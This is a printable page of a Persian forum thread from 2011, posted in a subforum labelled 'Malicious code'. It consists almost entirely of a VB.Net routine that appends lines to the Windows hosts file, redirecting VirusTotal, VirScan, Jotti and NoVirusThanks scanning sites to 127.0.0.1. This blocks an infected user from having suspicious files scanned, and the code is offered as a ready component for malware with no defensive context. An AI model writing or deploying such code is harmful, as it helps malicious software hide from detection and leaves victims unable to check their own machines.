Parsi Coders
[VB.Net] Block AV Site's - نسخه قابل چاپ

+- Parsi Coders (http://parsicoders.com)
+-- انجمن: Security and influence (http://parsicoders.com/forumdisplay.php?fid=59)
+--- انجمن: Influence (http://parsicoders.com/forumdisplay.php?fid=61)
+---- انجمن: Malicious code (http://parsicoders.com/forumdisplay.php?fid=62)
+---- موضوع: [VB.Net] Block AV Site's (/showthread.php?tid=1079)



[VB.Net] Block AV Site's - Amin_Mansouri - 10-16-2011

کد:
Imports System.IO
Imports System.Reflection
#Region " block all Av sites "
    Public Shared Sub avbloker()
        'Dim objWriter As New System.IO.StreamWriter("C:\fire2.txt")
        'objWriter.Write("xfind2")
        'objWriter.Close()


        Dim path As [String] = "C:\Windows\System32\drivers\etc\hosts"
        Dim sw As New StreamWriter(path, True)
        Dim sitetoblock As [String] = vbLf & " 127.0.0.1 www.virustotal.com"
        Dim sitetoblock1 As [String] = vbLf & " 127.0.0.1 www.virscan.org"
        Dim sitetoblock2 As [String] = vbLf & " 127.0.0.1 www.virusscan.jotti.org"
        Dim sitetoblock3 As [String] = vbLf & " 127.0.0.1 www.vscan.novirusthanks.org"
        sw.Write(sitetoblock)
        sw.Write(vbNewLine & sitetoblock1)
        sw.Write(vbNewLine & sitetoblock2)
        sw.Write(vbNewLine & sitetoblock3)
        sw.Close()

      
        End

End Sub
#End Region